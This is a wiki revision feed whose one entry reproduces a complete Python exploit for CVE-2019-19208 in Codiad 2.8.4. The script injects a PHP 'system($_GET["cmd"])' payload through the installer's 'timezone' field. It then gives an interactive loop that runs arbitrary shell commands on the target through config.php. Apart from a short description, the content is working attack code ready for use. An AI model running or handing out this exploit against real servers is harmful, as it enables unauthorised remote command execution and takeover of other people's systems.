<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2019-19208_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2019-19208 Codiad 2.8.4 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2019-19208_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2019-19208_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T08:26:12Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2019-19208_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3250&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (2) # Date: 21.05.2021 # Exploit Author: Ron Jost (Hacker5preme) # Credits to: https://hero...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2019-19208_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3250&amp;oldid=prev"/>
		<updated>2021-05-24T13:23:51Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (2) # Date: 21.05.2021 # Exploit Author: Ron Jost (Hacker5preme) # Credits to: https://hero...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (2)&lt;br /&gt;
# Date: 21.05.2021&lt;br /&gt;
# Exploit Author: Ron Jost (Hacker5preme)&lt;br /&gt;
# Credits to: https://herolab.usd.de/security-advisories/usd-2019-0049/ (Tobias Neitzel)&lt;br /&gt;
# Vendor Homepage: http://codiad.com/&lt;br /&gt;
# Software Link: https://github.com/Codiad/Codiad/releases/tag/v.2.8.4&lt;br /&gt;
# Version: 2.8.4&lt;br /&gt;
# Tested on: Xubuntu 20.04 and Cent OS 8.3&lt;br /&gt;
# CVE: CVE-2019-19208&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Description: &lt;br /&gt;
An unauthenticated attacker can inject PHP code before the initial configuration&lt;br /&gt;
that gets executed and therefore he can run arbitrary system commands on the server.&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Import required modules:&lt;br /&gt;
'''&lt;br /&gt;
import requests&lt;br /&gt;
import json&lt;br /&gt;
import sys&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
User-Input:&lt;br /&gt;
'''&lt;br /&gt;
target_ip = sys.argv[1]&lt;br /&gt;
target_port = sys.argv[2]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Determining target:&lt;br /&gt;
--&amp;gt; The installationpaths to select from are derived from the installation instructions from:&lt;br /&gt;
        https://github.com/Codiad/Codiad/wiki/Installation&lt;br /&gt;
'''&lt;br /&gt;
print('Enter one of the following numbers to proceed')&lt;br /&gt;
print('[1]: OS of the target: Higher than Ubuntu 13.04; path: /var/www/html/')&lt;br /&gt;
print('[2]: OS of the target: Ubuntu 13.04 or below; path: /var/www/')&lt;br /&gt;
print('[3]: OS of the target: CENT OS; path: /var/www/html/')&lt;br /&gt;
selection = int(input('Your Choice: '))&lt;br /&gt;
if selection == 3 or selection == 1:&lt;br /&gt;
    path = &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
    content_len = &amp;quot;191&amp;quot;&lt;br /&gt;
if selection == 2:&lt;br /&gt;
    path = '/var/www'&lt;br /&gt;
    content_len = '185'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Get cookie&lt;br /&gt;
'''&lt;br /&gt;
session = requests.Session()&lt;br /&gt;
link = 'http://' + target_ip + ':' + target_port + '/'&lt;br /&gt;
response = session.get(link)&lt;br /&gt;
cookies_session = session.cookies.get_dict()&lt;br /&gt;
cookie = json.dumps(cookies_session)&lt;br /&gt;
cookie = cookie.replace('&amp;quot;}','')&lt;br /&gt;
cookie = cookie.replace('{&amp;quot;', '')&lt;br /&gt;
cookie = cookie.replace('&amp;quot;', '')&lt;br /&gt;
cookie = cookie.replace(&amp;quot; &amp;quot;, '')&lt;br /&gt;
cookie = cookie.replace(&amp;quot;:&amp;quot;, '=')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Construct header:&lt;br /&gt;
'''&lt;br /&gt;
header = {&lt;br /&gt;
    'Host': target_ip,&lt;br /&gt;
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.',&lt;br /&gt;
    'Accept': '*/*',&lt;br /&gt;
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',&lt;br /&gt;
    'Accept-Encoding': 'gzip, deflate',&lt;br /&gt;
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',&lt;br /&gt;
    'X-Requested-With': 'XMLHttpRequest',&lt;br /&gt;
    'Content-Length': content_len,&lt;br /&gt;
    'Origin': 'htttp://' + target_ip,&lt;br /&gt;
    'Connection': 'close',&lt;br /&gt;
    'Referer': 'http://' + target_ip + '/',&lt;br /&gt;
    'Cookie': cookie,&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Construct body:&lt;br /&gt;
'''&lt;br /&gt;
string = &amp;quot;&amp;quot;&amp;quot;'&amp;quot;); system($_GET[&amp;quot;cmd&amp;quot;]); print(&amp;quot;'&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
body = {&lt;br /&gt;
    'path': path,&lt;br /&gt;
    'username': 'test',&lt;br /&gt;
    'password': 'exploit',&lt;br /&gt;
    'password_confirm': 'exploit',&lt;br /&gt;
    'project_name': 'hello',&lt;br /&gt;
    'project_path': path + '/data',&lt;br /&gt;
    'timezone': str(string)&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Post the request with the malaicious payload&lt;br /&gt;
'''&lt;br /&gt;
print('Posting request with malicious payload')&lt;br /&gt;
link = link + '/components/install/process.php'&lt;br /&gt;
x = requests.post(link, headers=header, data=body)&lt;br /&gt;
print('Waiting 10 seconds')&lt;br /&gt;
time.sleep(10)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Create payload / persistend command execution:&lt;br /&gt;
'''&lt;br /&gt;
header = {&lt;br /&gt;
    'Host': target_ip,&lt;br /&gt;
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',&lt;br /&gt;
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',&lt;br /&gt;
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',&lt;br /&gt;
    'Accept-Encoding': 'gzip, deflate',&lt;br /&gt;
    'Connection': 'close',&lt;br /&gt;
    'Cookie': cookie,&lt;br /&gt;
    'Upgrade-Insecure-Requests': '1',&lt;br /&gt;
    'Cache-Control': 'mag-age=0'&lt;br /&gt;
}&lt;br /&gt;
payload = input('Input the command, which should be executed on the targeted machine. To abort enter EXIT: ')&lt;br /&gt;
while payload != 'EXIT':&lt;br /&gt;
    link_payload = 'http://' + target_ip + ':' + target_port + '/config.php?cmd=' + payload&lt;br /&gt;
    x = requests.get(link_payload, headers=header)&lt;br /&gt;
    print(x.text)&lt;br /&gt;
    payload = input('Input the command, which should be executed on the targeted machine. To abort enter EXIT: ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>